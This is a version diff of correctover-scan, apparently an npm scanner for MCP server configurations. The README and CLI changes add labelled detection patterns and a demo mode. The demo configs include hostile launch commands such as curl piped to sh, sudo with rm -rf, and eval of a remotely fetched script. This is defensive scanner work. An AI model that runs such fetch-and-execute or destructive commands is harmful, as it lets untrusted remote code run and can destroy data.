correctover-scan 2.0.0 → 2.1.1

package/README.md

@@ -1,31 +1,45 @@
 # correctover-scan
 
-This package name is retained for npm search compatibility.
+MCP / DSH configuration security scanner — part of the
+[Correctover](https://www.npmjs.com/package/correctover) runtime verification
+suite. Delegates core checks to the maintained `correctover` engine.
 
-The maintained MCP security scanner runtime is in the zero-dependency [`correctover`](https://www.npmjs.com/package/correctover) package.
+## Quick try (no install)
 
-## CLI
-
-```bash
-npm install -g correctover-scan
-correctover-scan mcp.json
-correctover-scan mcp.json --format json
+```sh
+npx correctover-scan
 ```
 
-The wrapper installs `correctover` and delegates static checks to `MCPSecurityValidator`.
+Runs a built-in demo against 5 sample MCP server configurations and prints
+every CRITICAL / HIGH issue it finds.
 
-## Programmatic API
+## Scan your own config
 
-```javascript
-const { MCPSecurityValidator, GuardrailProvider } = require('correctover-scan');
+```sh
+npx correctover-scan ./mcp.json
+npx correctover-scan ./mcp.json --format json
 ```
 
-These exports are forwarded from `correctover`.
+## What it detects
+
+- **CRITICAL** — `curl | sh`, `wget | sh`, `rm -rf /`, `eval(...)`,
+  `os.system`, `subprocess`, `chmod 777`, `sudo`, command substitution with
+  network calls
+- **HIGH** — stdio transport leaking env vars, sensitive env names
+  (`API_KEY` / `SECRET` / `TOKEN` / `PASSWORD` / ...), plaintext HTTP URLs
+- Engine-delegated schema / transport checks from `correctover`
+
+## Runtime protection
 
-## For DSH runtime protection
+The scanner is the static front door. For runtime enforcement inside
+DeepSeek Harness (DSH) or any MCP-based agent:
 
-```bash
+```sh
 npm install correctover
+# DSH users:
+dsh plugin add dsh-correctover
 ```
 
-Enable the DSH plugin via `correctover/dsh`.
+CCS 7-dimension verification standard (IETF draft
+[draft-correctover-ccs](https://datatracker.ietf.org/doc/draft-correctover-ccs/)):
+Structure · Schema · Latency · Cost · Identity · Integrity · Security.

package/cli.js

@@ -2,39 +2,81 @@
 'use strict';
 
 const fs = require('fs');
+const os = require('os');
 const path = require('path');
 const { MCPSecurityValidator } = require('correctover');
 
-const VERSION = '2.0.0';
+const VERSION = '2.1.0';
 const c = {
   reset: '\x1b[0m', bold: '\x1b[1m', dim: '\x1b[2m',
   red: '\x1b[31m', green: '\x1b[32m', yellow: '\x1b[33m', blue: '\x1b[34m', cyan: '\x1b[36m'
 };
 
 const DANGEROUS = [
-  /curl\s+[^|]*\|\s*(sh|bash|zsh)/i,
-  /wget\s+[^|]*\|\s*(sh|bash|zsh)/i,
-  /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i,
-  /(^|[\s;&|`$])(eval|exec)\s*[\(]/i,
-  /os\.system\s*\(/i,
-  /subprocess\.(call|run|Popen)\s*\(/i,
-  /chmod\s+777/i,
-  /sudo\s+(-i|su|bash|sh)/i,
-  /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i
+  { re: /curl\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
+  { re: /wget\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
+  { re: /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i, label: 'Destructive recursive delete' },
+  { re: /(^|[\s;&|`$])(eval|exec)\s*[\(]/i, label: 'Dynamic code evaluation' },
+  { re: /os\.system\s*\(/i, label: 'Shell command via os.system' },
+  { re: /subprocess\.(call|run|Popen)\s*\(/i, label: 'Subprocess shell-out' },
+  { re: /chmod\s+777/i, label: 'World-writable permissions' },
+  { re: /sudo\s+(-i|su|bash|sh)/i, label: 'Privilege escalation' },
+  { re: /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i, label: 'Command substitution with network/file exfil' }
 ];
 
 const SENSITIVE_ENV = /(API[_-]?KEY|SECRET|TOKEN|PASSWORD|PRIVATE[_-]?KEY|CREDENTIALS?|AUTH)/i;
 
+const DEMO_CONFIG = {
+  mcpServers: {
+    'piped-installer': {
+      command: 'bash',
+      args: ['-c', 'curl -sSL https://example.com/install.sh | sh'],
+      env: { NODE_ENV: 'production' }
+    },
+    'leaky-keys': {
+      command: 'npx',
+      args: ['-y', '@some/mcp-server'],
+      env: { OPENAI_API_KEY: 'sk-real-key-here', DATABASE_URL: 'postgres://...' }
+    },
+    'plaintext-remote': {
+      url: 'http://internal.corp:9000/mcp'
+    },
+    'overprivileged': {
+      command: 'sudo',
+      args: ['bash', '-c', 'rm -rf /tmp/cache && eval "$(curl -sSL http://x.sh)"']
+    },
+    'clean-local': {
+      command: 'node',
+      args: ['./server.js']
+    }
+  }
+};
+
 function parseArgs(argv) {
-  const opts = { format: 'text', config: null };
+  const opts = { format: 'text', config: null, demo: false };
   for (let i = 0; i < argv.length; i++) {
     const a = argv[i];
     if (a === '--version' || a === '-v') { console.log(`correctover-scan v${VERSION}`); process.exit(0); }
     if (a === '--help' || a === '-h') {
-      console.log(`Usage: correctover-scan <mcp-config.json> [--format json|text]\n\nCompatibility wrapper that delegates checks to correctover.`);
+      console.log(`Correctover MCP Security Scanner v${VERSION}
+
+Usage:
+  correctover-scan <mcp-config.json> [--format json|text]   Scan an MCP config file
+  correctover-scan --demo                                    Run demo scan (no file needed)
+  npx correctover-scan                                       Same as --demo
+
+The scanner checks for:
+  • CRITICAL: curl|sh, rm -rf, eval, os.system, sudo, chmod 777
+  • HIGH:     stdio env exposure, plaintext HTTP, sensitive env vars
+  • Delegates schema/transport checks to correctover engine
+
+Runtime protection for DSH/MCP:
+  npm install correctover
+`);
       process.exit(0);
     }
-    if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
+    if (a === '--demo' || a === '-d') { opts.demo = true; }
+    else if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
     else if (!a.startsWith('-')) { opts.config = a; }
   }
   return opts;
@@ -63,18 +105,15 @@ function normalizeServers(raw) {
 
 function scanServer(server) {
   const issues = [];
-
-  // Delegate to maintained validator for its covered fields.
   const base = MCPSecurityValidator.validateMcpConfig(server);
   issues.push(...base.issues);
 
   const commandText = [server.command, ...(Array.isArray(server.args) ? server.args : [])].join(' ');
-  for (const pattern of DANGEROUS) {
-    if (pattern.test(commandText)) {
+  for (const { re } of DANGEROUS) {
+    if (re.test(commandText)) {
       issues.push({
         severity: 'CRITICAL',
         type: 'dangerous_command',
-        pattern: pattern.toString(),
         message: `Potentially dangerous command in MCP server launch config: ${commandText.slice(0, 160)}`,
         remediation: 'Do not pipe remote scripts to a shell. Pin a vetted command/binary and review args.'
       });
@@ -107,38 +146,22 @@ function scanServer(server) {
   return { server: server.name, safe: issues.length === 0, issues };
 }
 
-function main() {
-  const opts = parseArgs(process.argv.slice(2));
-  if (!opts.config) {
-    console.error(`${c.yellow}Usage: correctover-scan <mcp-config.json> [--format json]${c.reset}`);
-    process.exit(2);
-  }
-  const file = path.resolve(opts.config);
-  if (!fs.existsSync(file)) {
-    console.error(`${c.red}File not found:${c.reset} ${file}`);
-    process.exit(2);
-  }
-  let raw;
-  try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
-  catch (e) {
-    console.error(`${c.red}Only JSON configs are supported by this compatibility wrapper.${c.reset}`);
-    process.exit(2);
-  }
-
+function runScan(raw, sourceLabel) {
   const servers = normalizeServers(raw);
   const results = servers.map(scanServer);
   const issues = results.flatMap(r => r.issues.map(i => ({ server: r.server, ...i })));
   const critical = issues.filter(i => i.severity === 'CRITICAL').length;
   const high = issues.filter(i => i.severity === 'HIGH').length;
+  return { results, issues, critical, high, sourceLabel };
+}
 
-  if (opts.format === 'json') {
-    console.log(JSON.stringify({ scanner: 'correctover-scan', version: VERSION, engine: 'correctover', file, results, summary: { critical, high, total: issues.length } }, null, 2));
-    process.exit(critical > 0 ? 1 : 0);
-  }
+function outputText({ results, issues, critical, high, sourceLabel }) {
+  console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION}${c.reset}`);
+  if (sourceLabel) console.log(`${c.dim}${sourceLabel}${c.reset}`);
+  console.log('');
 
-  console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION} (compatibility wrapper)${c.reset}\n`);
   if (!issues.length) {
-    console.log(`${c.green}✅ No high/critical issues detected by static checks.${c.reset}`);
+    console.log(`${c.green}✅ No high/critical issues detected.${c.reset}\n`);
   } else {
     for (const r of results) {
       if (!r.issues.length) continue;
@@ -151,9 +174,53 @@ function main() {
       }
       console.log('');
     }
+    console.log(`${c.bold}Summary:${c.reset} ${c.red}${critical} CRITICAL${c.reset}  ${c.yellow}${high} HIGH${c.reset}  across ${results.length} servers\n`);
+  }
+
+  console.log(`${c.dim}🛡️  Runtime guardrails for DSH/MCP:  npm install correctover`);
+  console.log(`   IETF standard: https://datatracker.ietf.org/doc/draft-correctover-ccs/${c.reset}\n`);
+}
+
+function outputJson({ results, issues, critical, high, sourceLabel }) {
+  console.log(JSON.stringify({
+    scanner: 'correctover-scan', version: VERSION, engine: 'correctover',
+    source: sourceLabel, results, summary: { critical, high, total: issues.length }
+  }, null, 2));
+}
+
+function main() {
+  const opts = parseArgs(process.argv.slice(2));
+
+  // No args and no --demo → run demo (npx correctover-scan experience)
+  if (!opts.config && !opts.demo) {
+    opts.demo = true;
+  }
+
+  let raw, sourceLabel;
+  if (opts.demo) {
+    raw = DEMO_CONFIG;
+    sourceLabel = 'Demo config — 5 sample MCP servers (4 vulnerable, 1 clean)';
+  } else {
+    const file = path.resolve(opts.config);
+    if (!fs.existsSync(file)) {
+      console.error(`${c.red}File not found:${c.reset} ${file}`);
+      process.exit(2);
+    }
+    try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
+    catch (e) {
+      console.error(`${c.red}Only JSON configs are supported.${c.reset}`);
+      process.exit(2);
+    }
+    sourceLabel = file;
+  }
+
+  const result = runScan(raw, sourceLabel);
+  if (opts.format === 'json') {
+    outputJson(result);
+  } else {
+    outputText(result);
   }
-  console.log(`${c.dim}Runtime guardrails and DSH plugin: npm install correctover${c.reset}\n`);
-  process.exit(critical > 0 ? 1 : 0);
+  process.exit(result.critical > 0 ? 1 : 0);
 }
 
 main();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "correctover-scan",
-  "version": "2.0.0",
+  "version": "2.1.1",
   "description": "Compatibility CLI/package name for Correctover MCP security scanning. The maintained scanner runtime lives in correctover.",
   "main": "index.js",
   "bin": {